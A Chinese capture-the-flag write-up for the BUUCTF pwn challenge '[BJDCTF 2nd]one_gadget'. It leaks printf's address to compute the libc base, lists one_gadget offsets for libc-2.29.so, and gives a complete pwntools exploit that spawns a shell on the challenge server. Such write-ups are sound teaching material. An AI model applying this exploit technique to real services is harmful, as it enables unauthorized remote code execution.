[BUUCTF]PWN15——[BJDCTF 2nd]one_gadget

[BUUCTF]PWN15——[BJDCTF 2nd]one_gadget

附件

步骤:
例行检查,64位,保护全开
在这里插入图片描述
nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one gadget的地址
在这里插入图片描述
64位ida载入,shift+f12查看字符串,根据nc看到的字符串,找到关键函数
在这里插入图片描述
在这里插入图片描述
题目一开始输出的是printf函数的地址,题目一开始给了libc,知道了它的内存地址,就能够算出程序的偏移量了

print_addr=0x7fbe7e114830
offset=print_addr-libc.symbols['printf']
print offset

在这里插入图片描述
接下来我们找一下one gadget的地址

 one_gadget  libc-2.29.so 

在这里插入图片描述
这边有4个one_gadget可以让我们利用,但是要满足寄存器的条件才能获取shell,会看汇编的可以去看一下哪个满足条件,不会的一个一个试一下(我就属于一个一个试的)

完整 EXP

from pwn import*

r=remote('node3.buuoj.cn',26120)
elf=ELF('onegadget')
libc=ELF('./libc-2.29.so')

r.recvuntil('0x')
print_addr=int(r.recvn(12),16)

offset=print_addr-libc.symbols['printf']

print offset

one_gadget=[0xe237f,0xe2383,0xe2386,0x106ef8]
shell=offset+one_gadget[3]
r.recvuntil('Give me your one gadget:')
r.sendline(str(shell))

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值